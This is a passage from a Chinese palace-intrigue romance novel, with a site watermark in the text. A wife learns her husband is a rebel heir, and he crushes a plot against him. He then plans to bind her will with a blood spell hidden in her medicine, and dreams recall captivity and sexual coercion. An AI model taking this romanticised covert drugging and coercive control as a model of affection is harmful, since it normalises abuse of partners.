看帆船在夕阳余晖之下倒映出剪影。 听说,南巡行至江夏,会走水路。 水路快一些,对于帝王和朝官,走水路能看到的景色也多,自然更加合适。 但是春莺如今快七个月了,走水路晕得厉害,也无法控制颠簸。 他们要是走水路就不太方便。 慕景怀赶来与鹿微眠道谢,“多谢路上照拂。” “这有什么谢不谢的,春莺也在照顾我。”鹿微眠迟疑着问,“京中现下如何了?” “我走时,京中一切都好。” 慕景怀听得出来鹿微眠是想问谁,“封轸也一切都好。” “听你们家放出来的消息,是你病了,在家养病,眼下除了我们无人知晓你在哪里。” 鹿微眠放下心来,很轻地出声,“那就好。” 他们在江夏歇了一日,再度启程,慕景怀打算将他们送到姑苏再走。 时间完全足够。 路上多一个人,也就多一份照拂,能安全许多。 鹿微眠发现慕景怀离开了皇宫,就好似换了一个人一样。 看起来比往日要活跃。 像是他假装痴儿时候的样子,但也完全不同。 跟春莺说得一模一样。 慕景怀闲暇时,碎话很多。 甚至春莺会觉得他吵,不再搭理他,自己去休息。 慕景怀如是一番,将鹿微眠完全当成了自己人,也不加掩饰地什么话都告诉她。 尤其是说起封行渊的事情。 慕景怀好奇,“你此番出来,是如何劝说封轸答应的。” “我瞒着他出来的。”鹿微眠抿唇,“就怕他不答应。” 慕景怀愣了一下,打量了她片刻后,不由得笑道,“你胆子倒也挺大。” 他是没想到。 他原本还担心封行渊会不答应让鹿微眠按照他的安排走。 那他日后就不管鹿微眠,先把春莺送走。 后来看鹿微眠这么顺利地离开了,还以为是封行渊转了性。 或者鹿微眠把人给劝得那般听话。 “这有什么大不大的,”鹿微眠解释,“我本来是想与他说的,听着他不想松口。” “要么说不用我担心,要么说把我藏起来。我觉得都不太妥当,就留了书信与他,先走了。” 嗯。 慕景怀点头。 把人藏起来才像是封轸的作风。 鹿微眠问他,“他有发觉是你吗?没有找你闹吧。” 慕景怀笑道,“若你偷偷跑了,他要是发觉是我怂恿得你,那我怕是就不会这么顺利的过来了,他得先扒我一层皮。” “好在最近父皇找他比较频繁,他事务缠身,一时半刻想必抽不开身分心其他。” 鹿微眠觉得他说得还挺血腥,“有这么严重吗?” 她还想封行渊现在应当已经接受了她离开的事实。 即便生气了,等日后回去,他应当就消气了。 倘若没消气,按照他的好脾气,她肯定也能哄好的。 “当然有这么严重。”慕景怀默认鹿微眠是十分了解封行渊的,“你还不知道他么,封轸那个脾性,也就你敢骗他了。” 鹿微眠不知怎么的,听着不确定慕景怀说得是封行渊,“他……脾气不是蛮好的吗,就是有点粘人。” 慕景怀蹙眉,反应了一会儿,也不确定他们说的是同一个人,“他脾气好?” 他试图理解了片刻,“是,他对你脾气是挺好的,对别人就不一定了。” 慕景怀今晚喝了点酒,话愈发多了起来,“不过这也不能怪他,要怪还是得怪我母妃。” 他看向鹿微眠,小声示意,“你也知道,他那个的身世来历不是很普通,从前经历的事情多了些。” 鹿微眠听得一头雾水,但也能勉强理解。 她的确知道一点封行渊的身世来历,但也不确定是不是慕景怀说的那个。 不过封行渊身为封府的远方亲戚,带着父母遗产投奔长安来,却被叔父吸血的确是经历了许多。 慕景怀长叹一口气,说到心中苦楚,仿佛打开了话匣子,“我母妃其实说什么话,做什么事都不避讳我,我自小也知道封轸的事情。” “他本身好好的与护送他的老嬷嬷南下,平平安安地选一个山庄生活长大,即便是要复仇,日后寻个机会也好。” “可我母妃送老嬷嬷手里将他要过来,竟然送去了封府那个鬼地方。” 鹿微眠眉头越皱越紧。 慕景怀的话让她很难与自己的认知链接起来。 还没等鹿微眠理解,慕景怀突然长叹了一口气,“其实我知道,封轸第一次被人污蔑杀人,死掉的那个老伙夫,是我母妃弄死的,也是我母妃差人告诉那个管事嬷嬷,怎么把脏水泼到封轸身上。” “后来,封轸将那个管事嬷嬷的头割下来,挂在房梁上的时候,我母妃可高兴了。” 鹿微眠端起的茶盏忽然间悬在了半空,“他……” “是啊。”慕景怀理解错了鹿微眠的意思,“她可高兴了,觉得封轸终于有了点苗头。” “日后能够成长为,一个杀人不眨眼的地狱修罗。” 慕景怀深呼吸片刻,“后来,她给慕青辞下了毒,坏了慕青辞的身子根基。” “又与司天台合谋给皇后出主意寻药人,故意把封轸送进了宫,让他们把封轸做成药人。” 慕景怀的每一句话,都让鹿微眠心惊。 鹿微眠再也没有心思喝茶,放下茶盏,“她为什么要这么做?” “因为她要把封轸养成无坚不摧的存在,药人的过程很痛苦,但养成后,封轸就百毒不侵。” “而且,还能能留下只有她知道,且能掌控的弱势之处。” 慕景怀沉吟片刻,“此番还能让封轸与当朝太子皇后结怨,痛恨大郾皇室、朝廷。” “一举三得。” “这些年,她操控着封轸和慕青辞的关系,让他们反目成仇,让封轸一遍遍被摔碎、拼合、再摔碎。她根本就是在养一个复仇的傀儡。” 这些,鹿微眠曾经听慕景怀提起过。 但是好像又哪里不太对劲。 在这混乱的信息中,她只能得出一个很完整的逻辑。 她的夫君,比她想象得更加可怜一些,“她怎么能这么对待他啊。” “是啊。她怎么能这么对待他,她又怎么能这样对我。” 慕景怀又倒了一盏酒,暗自神伤,“封轸还好,我都不知道我在她眼里是什么。” “如果说封轸是傀儡。那我应该就是一枚弃子。她从来没把我放在心上,所以才什么都敢与我说,谁让我身上流着大郾皇室的血。” “她要我装傻,又不准我接受正统,根本就是拿我当个玩意养着。” “或许日后,等她安排好一切,让封轸顺应她的意思,复西陵王室,占领长安称王。她了却心愿要赴死,也未必能让我继续活着。” “你也不要这么想……”鹿微眠正要安慰他,突然间反应过来他说了什么。 鹿微眠大脑有一瞬间的空白。 在慕景怀倒酒之时,突然间抓住酒壶“砰”地一声按在桌上,“你说,她让谁称王?!”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 60-70 第61章 害怕 酒壶连通桌上的碗碟都被震得“叮当”作响。 慕景怀被吓了一跳, 恍惚中反应着自己说了什么,“封轸……没有跟你说过吗?” 酒精让慕景怀反应慢了一些。 他摸了摸鼻梁,不确定自己是不是说了什么不该说的话。 慕景怀迟钝地思索了一番, 也有可能他们夫妻之间或许没有说得这么深入? “哦,这个……也不一定,是我自己猜的。”慕景怀试图找补, “毕竟封轸是西陵世子, 我以为……” 鹿微眠脑袋又“嗡”地一声, 上一句话还没消化,又来一句, “他是什么?!” 慕景怀顿住, 他看着鹿微眠的反应,一时不知道该不该继续往下说。 “你……这个也不知道啊。” 这一连串信息, 让鹿微眠丧失了些许思考能力。 鹿微眠心脏都仿佛不跳了,不过眨眼间就一手的冷汗,浑身冰凉, 紧盯着慕景怀确认着,“你刚刚说,封轸,是……” 鹿微眠有些难以说出那个身份。 慕景怀茫然地重复, “西陵世子。” 西陵世子。 西陵世子…… 鹿微眠恍惚中都快不知道什么是西陵,什么是世子了。 但理智还是将她不断地拉扯着。 仿佛一道白光骤然灌入脑海, 在顶点轰然炸开! 炸得鹿微眠手脚发软,她一下子跌坐在座椅上, 座椅摩擦地面发出“吱吖”声响。 鹿微眠失衡的心跳在得到了确定之后, 骤然开始加速,疯狂跳动着, 撞击着她有些脆弱的胸腔。 她说话都断断续续,并不完整,“你,没有在跟我开玩笑吗?” 慕景怀觉得是自己说错话了,“你真不知道啊。” 鹿微眠看着慕景怀的样子,根本不像是随口开玩笑说出来吓唬她。 完全就是一副不小心说出了事实真相的拘谨模样。 “你……”鹿微眠哽住,“我,他?” “他他……” 刚刚慕景怀所说得一切混合着这句话接连涌入脑海。 他话中所有难以理解的部分都变得通畅! 为什么虞念要救封行渊。 因为他们同族,且封行渊是王室遗孤! 所以虞念救下他,要把所有的复仇计划都寄托在他的身上! 在她看来虞念对于封行渊,做得所有莫名其妙的事情都有了答案。 鹿微眠呼吸越来越急促,脊背冷汗涔涔。 屋外的暖风吹过来,她也感受到了彻骨的凉意。 所以,她之前与封行渊分析的虞念想要铺路的人,根本就是他自己! 鹿微眠但凡想起来,脑海中就是一道一道疯狂折磨着她的闪电,将她所有的思绪都剧烈震荡着。 让她身上满是被思绪惊恐到的麻痹感。 鹿微眠动都动不了,甚至细想下去。 虞念给西陵世子铺路,等到南巡结束后,天下大乱,只等他进京占据长安。 所以前世,前世那个将她捆锁在床笫间的疯子…… 就是…… 就是!! 鹿微眠有点喘不过气来。 她扶着桌案,呼吸一点点变得急促,不论怎么汲取空气,都有些无法磨灭的窒息感。 鹿微眠还不死心,“西陵,还有没有其他世子,或者其他王族?” 慕景怀很想回答出来能安慰鹿微眠的答案,但他眼下也不知道怎么安抚她,只能诚实道,“我没听说过。” 鹿微眠一颗心彻底沉入谷底。 是他。 怎么可能是他。 过往一切如同海浪潮* 水般不遗余力地朝她拍打过来! 轻而易举地将她淹没。 封行渊平素里那浅淡纯粹的样子,与那黑暗间疯狂蹂躏她的声音骤然重合! 甚至还有些画面,她被按在榻间,被他调侃着什么,封轸到没到过这里。 喜欢封轸还是喜欢他。 问她想要哪一个。 鹿微眠捂住胸口,一阵一阵的心悸。 她恍惚间反应过来…… 封行渊曾经还跟她说过,做了那些噩梦,想象成是他会不会好一些! 所以他,他根本就是也想那么对她! 他才是那个疯子! 鹿微眠一时间如同五雷轰顶。 救命啊。 一旁原本在休息的春莺听见动静,起身上前看着反应很是异常的鹿微眠,又看了看慕景怀。 眼神带了几分哀怨,像是在问他,又在胡说八道什么。 “我……”慕景怀真的不是故意的,“但这也不是什么大事,你现在知道了也没关系……” 这关系大了去了。 先不说别的。 她可是天天在封行渊面前骂那个西陵反贼,什么难听的词都用上了。 合着就是当着他的面骂他。 仗着封行渊好说话,骗他不走不走,结果跑得这么远。 还想着回去一哄就好。 鹿微眠一张脸皱成了苦瓜。 抓紧了自己的裙摆,裙摆上一层一层的褶皱。 她有点晕,“我,先回房了。” 鹿微眠起身,身形摇摇欲坠险些站不稳,撞在旁边的橱柜上。 他们正要扶她,鹿微眠连忙伸手,制止他们的动作,“我自己可以的。” 鹿微眠出门,夜里的潮露气息都没能让她清醒一些。 她不记得自己是怎么回到自己的房间的。 只是在独自坐在房间里时,风吹草动都能让她的神经紧绷起来。 窗框被吹动得吱吖一声,鹿微眠就警惕地看了过去。 发现只是风吹进来了而已。 不出一刻钟,鹿微眠又惴惴不安地抱着枕头敲开了春莺的门。 鹿微眠有点不好意思,但又不得不开口,“我今晚,能不能继续和春莺睡啊。” 她说话时夹杂着细微的颤音,“我自己害怕。” 鹿微眠伸出一根手指示意,“就一晚。” 春莺拉她进门,把慕景怀推了出去。 告诉她,“正好我嫌他吵。” 慕景怀平日里稍微好一些,一沾酒话就更多了。 春莺问她,“是不是他说错话吓着你了。” 鹿微眠摇头。 她不好跟春莺解释太多,也明白了为什么之前她跟春莺说封行渊脾气好,春莺那么惊讶。 怎么说呢。 鹿微眠现在想哭,又哭不出来。 她甚至觉得自己现在还是在做梦,这一切都不是真的。 或许明天醒过来就好了。 她的乖乖夫君还是乖乖的。 才不是什么西陵世子,才不是什么杀人不眨眼,又把她关起来这样那样的疯子。 : 可鹿微眠睡不着了。 她睁着眼睛看头顶床幔,只有耳边小姑娘沉睡时均匀的呼吸声,能让她安心一些。 过往的一幕幕再度浮现在她的脑海中。 她都不知道是该说封行渊藏得太好,还是她太迟钝了。 不过前世好像也是这样,平时都好好的。 只有在他以为她背叛他,抛弃他之后,整个人才变成了那个样子。 鹿微眠咬了咬自己的手指。 怎么办啊。 早知道就不跑了。 不跑他哪怕是装一装也都是乖乖的。 哪有人会无缘无故发疯。 现在回去也来不及了,都到江夏了。 现在回去不是找死吗。 鹿微眠翻了个身,她不想回去了。 她这辈子都不想再回去了。 她能不能假装失踪一走好几年?或者假装被人欺负得很惨之后再回去? 鹿微眠哀怨地将被子拉到了自己的头顶,把自己整个人都蒙了起来。 救救我。 谁来救救我。 鹿微眠抓紧了锦被。 很难控制住自己不胡思乱想。 封行渊该不会一生气真的毁了长安吧。 不过看他之前的那些反应,是真的不知道虞念的计划。 那他还会乖乖听自己信件上的嘱托吗? 鹿微眠一想到信,就想起来她在里面也狠狠地辱骂了一番西陵反贼。 她无力地长长叹了一口气。 救命。 越想越完蛋。 她不仅骗了他丢下他,还骂了他。 人怎么能闯这么大祸。 * 长安城外关口,夜深人静,葳蕤树林随风而动。 发出一片风卷树林的沙沙声响,混合着怪异的摩擦声,听着有些毛骨悚然。 但定睛仔细看,就会发现在山野中窜动的影子并非树林草木。 而是人。 长安城地下,四处都是不知开挖隐藏了多久的地下陵墓。 陵墓关口被打开,里面暗藏着层层才入关的兵马,等待号令。 而城内夜深人静,无人察觉。 宵禁之后,空寂月色铺满城内大街小巷。 巡逻侍卫在城内街巷有条不紊地排查着。 待他们齐齐走过官道后,一道拉长的影子悄无声息地在地面一晃而过,隐没在一座府邸院落之中。 内院里面无人值守,前来的男子心下庆幸,但还是小心行事。 寻了一处偏僻的入口,径直从窗口进了内室。 内室点着熏香和炭火。 烟火气息十足,乍一看还像是有人在住的样子。 男子眯了眯眼睛,拔出手里刀柄,径直朝着那拢着红纱的床榻走过去。 他悄无声息地走到床榻边,床榻上的人一动不动。 他早早就听说过,鹿微眠开春时便染了风寒,这些时日一直闭关静养。 许是娘娘之前给他们家用的云涎香也发了作,所以才这般放松警惕。 男子势在必得,拿出来沾染迷香的帕子,正要上前将人迷晕带走。 掌心触感却不是人皮肤的触感。 而是一团乱七八糟锦被的触感。 男子轻轻蹙眉,这才意识到不对劲。 他一把掀开床上锦被,才发现被子里面包裹着一团布,根本就不是鹿微眠。 男子一惊,怔愣着看手底下空荡的锦被。 他环顾四周发现屋子里并没有人。 连个鹿微眠的影子都没有。 她不是在养病吗? 这是去哪了?! 男子放下锦被,在屋子里转了一圈,发现这间屋子一切如常,还有人生活的影子。 就是没有人。 但他倒是在妆匣里翻到了一封鹿微眠临走时留下的信件。 男子意外地多看了几眼,才确定,鹿微眠的确是走了。 那这…… 他又回头看向那个空荡的床褥,以防有诈,立马将掀开的被子复原,把信件上的内容抄录了一份,快速离开了院落。 浓重夜色遮掩下,男子飞身躲避着侍卫巡逻,快速赶往一间阁楼之中。 阁楼里,一个同样装束的女子见他进来,立马起身,“人呢?” “人已经走了。” “走了?”赫月意外地皱眉,“去哪了?” “不知道。”男子将抄录好的信件递给了同伴。 赫月打开翻看着。 信件上没有太多有用的东西,无非是一些交代叮嘱的废话。 赫月却看着这封信笑了,“走了好啊,走了殿下就不用再受她蒙蔽和哄骗,耽误正事了。” “说什么做什么,完全由我们控制殿下。”她将信封收起,眼底闪烁着兴奋晦暗的光,问着,“殿下现下何处?” “在巡城。” “走。”她提剑离开,“娘娘吩咐的,我们该动手了。” 男人知道她是什么意思,闻言离开出去叫人。 深夜长安城外。 封行渊的巡视队伍停在城外树林里休整,等待清晨卯时前来换班。 他靠坐在石块上,擦拭着手上的面具。 看着上面细腻的纹路愣神。 忽然山林中惊起一阵飞鸟,鸟鸣声盘旋,巡视队伍中有人警觉地站起来,看向那片山林。 山风忽然大了一些。 将男人鬓角碎发吹开,碎发拂过面颊,他只微微偏头。 漆黑眼底映衬着夜色,修长手指重新戴上那张面具。 “那边有异动,我去看看。”凌一说着,动身前往那片树林。 封行渊默许。 不成想,凌一的身影刚刚消失在那片山林里。 突然传来一声男子的痛呼! 山林鸟雀名叫声更大了一些。 巡视队伍众人立马都站了起来,防备地盯着那片树林,“大人……” 封行渊看向那一望无际的暗黑树林,也跟着起身,拿上佩剑,“走,去看看。” 初春的山林里,还残留着冬日的枯枝败叶。 踩过之时一片破败声响。 树影摇曳,山风凛冽。 封行渊踏进山林深处不久,山风伏地而起,边缘处一道火星忽然间乘风而上! 顺着四周枯枝快速蔓延! 侍卫纷纷大惊,有人高喊一声,“小心!” 火势升起的同时,四周昏暗的树影里骤然间窜出无数黑影。 为首的一人长剑破开火舌,直冲着封行渊的面具而去! 封行渊手中剑鞘迅速抵挡而上,长剑从他剑鞘之上划开。 另一侧再度刮来一阵剑风! 他们的目的很明确。 都是他的面具。 不过眨眼间,山林深处就陷入一片混战之中。 火势越来越大,接二连三冲上来的暗影也越来越多。 寡不敌众,“叮”地一声脆响。 那张面具落地,瞬间四分五裂! 有人大喊了一声,“大人!” 喊声被冷兵器交接的碰撞声响遮盖住。 四周燃起的大火像是被早有预谋地布置好,顺着几个树干蔓延攀爬。 将他们完全围困在里面。 赫月从暗处走出来,看着火势包围的一行人。 而封行渊早已丧失了反抗能力。 站在她身边的男人装模作样地高喊着,“封轸!” “你左眼坚持不了多久了,快束手就擒吧。” “你的夫人背叛你了,她得知你是西陵匪贼,恶贯满盈,罪大恶极,实在是悔不当初。” 男人继续,“她上报朝廷,要尽快铲除你。” “她不要你了。” 赫月听着男人按照虞念计划说的话,唇角轻勾。 封轸最无法接受欺骗与背叛,他们演上一出妻子背叛的戏码,这般往后,他便再也不会相信那个长安女子。 殿下一定怀恨在心,带着他们踏平长安,夺走一切。 赫月正想着,忽然身后响起一道悠然嗓音,“她不要我,难道要你吗?” 赫月脸上的笑容骤然僵住,面前是熊熊大火,而身后升起诡异的阴风! 她蓦的转身,发现封行渊就站在她身后。 后面是黑压压的西陵兵马。 封行渊唇角带着一抹似有若无的笑,牢牢地看着她。 这是殿下,那…… 赫月转过头,包围圈里,凌双手执长剑破风而出,直指她眉心! 而凌双身上,是和封行渊一模一样的衣服。 赫月大惊失色,立马旋身躲开! 她一下子反应过来,自己中计了,封行渊早就知道他们想要利用鹿微眠让他起反心! 所以布下埋伏,假意中招,将他们一举歼灭! “殿下!我们布下此局都是为了你啊!” 封行渊知道她的说辞,跟那几个人没有什么区别。 只是一抬手,周围人立马上前,将她看押住,堵住嘴巴。 封行渊又将面具拿了下来,仔细地擦拭了一番上面并不存在的灰尘。 还好他早有准备。 不然把夫人送的面具弄坏了可不行。 火圈被土石迅速盖灭,包围圈内的侍卫接连冲了出来! 封行渊身后的兵马也接连而上! 赫月一行人很快就落了下风。 不出一炷香的时间,虞念的手下全数被押。 封行渊慢条斯理地跟身后的西陵将士颠倒黑白,“看见了没,淑妃娘娘下令让你们进京,根本不是为了叫你们听命于我,是想等杀了我之后,再利用你们来满足她的欲望。” “你们差点就做了她的刽子手,毁了我西陵基业和未来。” 赫月难以置信地发出呜呜几声,碍于被堵住了嘴根本无法出声。 他们也不是真的要烧死他,而是在关键时候会给他留一线生机。 凭借殿下的本事,一定能突破重围。 他明明知道! 封行渊听上去无比可怜,“我要不是早有准备,就被淑妃娘娘的人困在着大火里烧死。” “等我死后,她就可以名正言顺的调令你们胡作非为。” 众人惊诧不已,“太过分了!” “是啊,她口口声声说为了殿下,怎能这般阳奉阴违!” “亏了我们这般信任她。” 封行渊打断他们的叫嚷和不平,“所以……” “从现在开始,知道能听谁号令,不能听谁号令了吗。” 山野间顿时响起接二连三的臣服声响,“臣等唯殿下马首是瞻。” 整齐铿锵的兵甲声阵阵。 很乖。 封行渊迎着凄清月色,满意地吩咐着,“一半抓虞念余党守住长安,听从禁军总都督卫大人的安排,另一半跟我下江南。” 封行渊想。 他在京等这么长时间,可就是等这个。 总算是等到了时机,解决完了这些人。 他可以去找夫人了。 刚刚被压制的男人突然间吐出了口中的布帛,“殿下!你糊涂啊!” “是,我们是故意把你引进来,做这样的局,可不过就是为了让你认清!” “为什么就不能真的是鹿微眠背叛你了!她知道你的身份害怕了,跑了!跑远了!她再也不要你了!你为了这样一个人……” “聒噪。”封行渊示意凌双再度将那人的嘴堵上。 他把玩着手中的面具。 “夫人不会背叛我。” 夫人偷偷跑了只是因为…… 她欠收拾而已。 封行渊眉梢微扬,想想就心情愉悦。 凌双上前询问,“他们怎么处置?” “关起来,找人看好了。”封行渊并不想在这些人身上浪费时间,“凌一留京,你跟我下江南。” 他说完,离开了这片山林。 皇帝不在京城,京中布防眼下是他跟卫沉说了算。 此番闹剧无人察觉。 封行渊回了府苑,走在空荡的院子里。 忽而看见,院子水边种着的蝴蝶兰开了。 封行渊走到池水边,衣摆扫过花丛,沾染上花朵馥郁香气。 开得不只是蝴蝶兰,鹿微眠曾经在院子种下的话再仲春时节基本都开了。 花草丛生,繁密旺盛。 蝴蝶兰点缀在花丛之中,花瓣舒展,随晚风颤动摇曳,潋滟生姿。 花都开了,她人呢。 小骗子。 封行渊等不及,他现在就要去找她。 不过,他觉得自己的确需要考虑一件事。 有什么办法,能让夫人心甘情愿地被收拾,不会被吓跑。 即便知道他的身份,也不会讨厌他呢。 就留在他身边。 他想把她的心里、身体全都塞满。 封行渊如是想着,回房准备收拾东西启程。 大概是听到了他的动静,墨宝在黑暗中探出头来,乌黑的身子隐藏在黑暗中。 只有一双大眼睛眼巴巴地看着他。 封行渊注意到它的视线,抬手示意,“过来。” 身处于黑暗中的男人,像是牢笼被打开的猛兽。 尤其如今没有鹿微眠在,他浑身上下的野性和危险性都不加遮掩。 小动物有天然察觉危险的能力。 墨宝缩了缩脖子,不太想过去。 但还是在封行渊动了念头之后,身体不受控制地朝他走过去。 跳到他的膝头,乖乖地钻到他怀里。 即便它这会儿浑身上下的毛都竖了起来。 封行渊慢条斯理地帮他顺毛。 捏着它的下巴,强迫它抬起头,迎上自己的视线。 墨宝战战兢兢地看他。 封行渊弯唇,想到了一个很坏的办法。 能让夫人永远爱他,永远跑不掉。 他勾勾手指,她就能过来。 再害怕、再抗拒也得爱他。 第62章 爱他 封行渊血色异瞳闪烁着兴奋流光。 毕竟他是以血布下摄魂术。 鹿微眠的药里, 也是用他的血,她已经喝了很久了,算下来还差半个月的药量。 强制咒术生效想必不难。 他想要她的灵魂属于他。 只是摄魂术违背他人意愿、强制他人服从会反噬他的心脉。 她日后的每一次抗拒都会给他带来反噬, 她要是不愿意…… 没关系。 能让她爱他就好了。 爱总是要疼一些的。 * 路程南下,一路山花遍野。 他们的脚程也慢了一些。 偶尔会停在满是山花的原野和山涧木屋客栈里多住两天。 开窗就是铺天盖地的山间小野花,迎风摇摆。 鹿微眠跟着春莺睡了两晚, 也不好一直打扰人家。 毕竟慕景怀到了姑苏就要离开了, 她也不能占着春莺太长时间。 鹿微眠看着这般山野景色, 给自己壮了壮胆。 不就是自己睡吗,隔壁就是他们, 没什么好怕的。 门口还有伍奚他们守夜。 鹿微眠气势颇足地沐浴梳洗好。 灭了灯盏过后, 窗外清亮的月光顺着窗户打落进来。 山野间满是草木的清新气息。 鹿微眠深吸了一口气,顿觉身心舒畅。 没事的。 她可以的。 鹿微眠爬上床榻, 给自己盖好被子拉上床幔。 白天赶路,到了晚上沐浴过后身子难免乏累,鹿微眠睡得很快。 但许是总在想那些事。 她又梦见了反贼破宫城那日。 她起先是畅快的, 高兴仇人得报应。 在一片混战之中,她从卧房里摸索出来一把剪刀,对准了自己的胸口。 新帝皇后被刺死,她夙愿已了。 她想要下去陪父母亲人, 但是一直下不去手。 她真的很怕疼。 还不如谁直接给她一刀。 就在她鼓足勇气,对准心口想要刺下去的时候。 突然一枚石子打了进来, 径直打在了她的手腕上,将她手里的剪刀打掉。 她自己也被那股冲击力带了一下, 跌在地上。 她听见有人走了进来。 也能感觉到有人靠近。 那身影走到她面前就带着不言而喻的压迫感。 紧接着她的脖颈被一只冰冷如蛇蝎的大手握住, 轻而易举地将她往前一带。 鹿微眠被掐得嘤咛一声。 听到他幽冷嗓音,“瞧瞧我, 抓到了什么。” 她浑身战栗,恍惚之中眼前的光线缓慢聚焦。 仿佛是她没有失明,能看见所有一切。 眼前人的脸,突然间变得清晰起来。 与封行渊那张清俊的面容完全重合! 鹿微眠惊惧不安地看着他。 封行渊脸上沾着旁人的血,手指缓慢刮过她的脸颊,眼底带了玩赏与肆虐气息,“小可怜,你落到我手里了。” 鹿微眠想要醒过来,却怎么也睁不开眼睛。 很快又被拖进了梦里。 睁开眼睛是换了另一幅场景,是在她非常熟悉的幽宫里。 被拖回梦里,那拉拽感无比清晰。 鹿微眠定睛反应过来,发现自己也已经被他拖到了身下。 他不遗余力地将她钉在案板上,“跑去哪啊?” 在她的尖叫声中,他像是要捣坏什么,“阿眠想要去找谁?” “还是,又想丢下我。” 鹿微眠双腿挣动间踩踏着什么,忽而一踩空,才从睡梦中惊醒。 一双雪白的足踢到了被子外面,颤颤巍巍地又缩了回来。 做了个梦而已,鹿微眠浑身上下冷汗浸透,嘤咛着躲进了被子里。 混蛋,疯子。 鹿微眠身上仿佛散了架一般,将自己蜷起来。 他从前就那么恨…… 鹿微眠拉紧被子,长长叹了一口气。 也是,恨她是正常的。 说实话,前世在没有出事之前,封行渊对她仁至义尽。 当时她一门心思都在慕青辞身上,他和慕青辞身为宿敌,没有对她暗中使绊子苛责,也没有利用她怎么样。 况且他后来还提醒她身边的东西有毒。 当时她没查到云涎香,他临走前也给了她好多药。 却因她被有心之人利用,差点殒命…… 很难不恨吧。 鹿微眠睁开眼睛,缓了缓神。 她前世想过,害人落难会有报应。 她也记得前世,他格外想要看到她因为对封轸的愧疚,而不愿配合他的索取。 又在床笫间一遍遍地寻找那近乎病态的蛛丝马迹,来得到她想要封轸,后悔抛弃封轸的答案。 眼下也都有了原因。 这辈子他在自己面前装得太好了。 或许也不是装,是不想让她离开。 难怪封行渊总是问她会不会背叛他,会不会抛弃他、丢下他,问她夫妻是不是不能随便毁约。 太完蛋了。 她直接给了和离书。 鹿微眠坐起身,穿衣服。 懊恼地嘀咕,“可怎么办啊。” 虽然给和离书不是真想和离,是怕万一有用,能给他留选择后路。 但按照那个人的疯性,根本不管原因。 和离两个字就够刺激他的了。 那个小疯子! 鹿微眠掀开床幔,看着外面天光大亮,他们还在山野间。 罢了,不论如何,他还没有追过来。 还没有找到他们。 鹿微眠想要起身,小腹还残留着梦里面的坠胀感。 她下意识伸手摸了摸肚子,忽然一股暖流涌入下腹。 坏了! 不是梦里的感觉,是月事。 鹿微眠连忙起身,好在床铺还没有被弄脏,只是衣服上被弄脏了一点。 她收拾完过后,差钧宜去问屋舍主人要了点赤砂糖。 屋舍主人直接给了他们几包调养的补药。 说是他们村子里的姑娘都喝这个。 鹿微眠下楼时。 春莺坐在桌前吃东西,看她脚步发虚,不由得伸手拉了拉她。 是问她怎么了的意思。 “没事,”鹿微眠扶着桌子坐下,“就是月事刚来,身上没力气。” 春莺将刚刚钧宜送过来的汤往她面前推了一下。 兴许喝了就好些了。 鹿微眠接过她推过来的碗,心不在焉地喝了一口。 没多久慕景怀去外面转了一圈回来,坐在了桌子对面,闻到了味道,“这是什么?” “你说这个吗?”鹿微眠简单跟他解释了一下,“问主人家要的补药,补血的。” 慕景怀好奇,“还挺好闻的。” “有点像是从前在府里,我日常喝的补药。” 大概是里面都有红枣枸杞,所以味道类似。 但就是缺了那个铁锈气。 封行渊给她喝的药,还是挺管用的。 她很久没有月事难受了。 鹿微眠正想着,慕景怀却笑了,“你还用喝补药,封轸自己的血就能医百病。” 鹿微眠一口汤药含住,愣是没能咽下去。 慕景怀以为她不信,“慕青辞不就是用他的血吗?我闻过,一股铁锈味。” 鹿微眠勉强咽下去,“铁锈味?” “以血入药嘛。他是药人……” 春莺见慕景怀说话又刹不住车,手肘碰了他一下。 慕景怀哽住,“这也不能说吗?” 鹿微眠放下碗,愣了很久的神,“没有。” 铁锈味道是血,所以他平日里给她喝的补药里面,以他的血做药引? 不对,那前世她每日都被逼着喝下的药里也是那个味道,该不会也…… 鹿微眠秀眉轻蹙。 他…… 那不是避子汤。 是补药? 所以前世云涎香在她体内毒性已深,她还能活过一年是因为? 慕景怀看着鹿微眠神色异样,怀疑自己是不是又说错话了,“你,没事吧。” “没事。”鹿微眠心绪如同一团乱麻,“我想出去走走。” 钧宜察觉到鹿微眠的情绪异样,“我跟夫人一起去。” 晌午时分,天色正好,鹿微眠在原野上漫无目的地走着。 这片山野旁边就是一条小溪流,依山傍水,到处都是疯狂生长的野花野草。 他们居住的客栈是山间的村民自己修建的屋子。 也不能叫做是客栈,不过是民间屋舍,要是碰上赶路的人,顺便做做客栈生意。 他们主要还是自己种田和打猎,自给自足,有富裕的就出去换银子。 除去他们自己划定的地方,就是山野间随意生长的草木。 看起来生命力旺盛。 鹿微眠坐在山涧旁边的石块上,捡了几个小石头往水面扔。 看着石头沉入水中,荡开一圈一圈涟漪发呆。 前世她跟那个人矛盾爆发,是她咽气前三天。 她能感觉到自己不行了。 他还天天要她喝“避子汤”。 她忍无可忍摔了碗,与他说,“王上不用这般费心,我快死了,根本怀不上你的孩子。” 他并不生气,很快又拿来一碗,固执地重复,“阿眠乖,喝了它。” 一碗比一碗的铁锈味浓,最后是浓重的腥味。 好难喝。 鹿微眠以为他在折磨她。 她也根本看不见,他手腕上横生的一道道疤痕。 钧宜守在旁边,“夫人这几天还是太紧张了,正好这两日咱们也不赶路,不如先好好休息休息。” 鹿微眠点头,没有吭声。 钧宜见状,不由得问道,“夫人在担心什么?” 钧宜大概也能猜到一点,“是三殿下说的,关于姑爷的事情吗?” “你是怕姑爷,会做一些,对我们不利的事情?” 鹿微眠很久没有说话,再开口时,是“他不会的。” 她从来没有觉得他会这么做。 这个回答让钧宜有些意外。 知道姑爷是西陵世子,钧宜担心的是姑爷会不会揭竿而起。 钧宜问鹿微眠,“夫人就不怕,姑爷像淑妃娘娘一样,毁掉一切。” “我相信他不会这么做。” 鹿微眠出神地想着,“不管我听到了什么,改变的只是我对他的一点认识,这跟他本身的行为,没有太大的关系。” “他人都不在这里,我也不能因为听到旁人说了一些事情,就全盘否定他,忘了他对咱们付出多少,跟别人一起讨伐他,那也太没良心了。” 虽然但是,鹿微眠想,他人最好先别在这里。 她不一样啊。 他是真的能做、她啊。 鹿微眠很挣扎的一点在于,她知道这件事情从始至终。 都讨厌不起来他。 现在更甚。 但是不讨厌就意味着,她能接受他的那些行为。 可是…… 鹿微眠随手捡起石子,却不小心摸到了一根短树枝。 她顿了顿,刚想要随手扔掉,看着那根圆柱状的树枝,眼前却鬼使神差地浮现出了几根暖玉。 是那天她在封行渊书房里找东西,那个被她不小心打开的抽屉,里面就放着长短不一,粗细不同的暖玉。 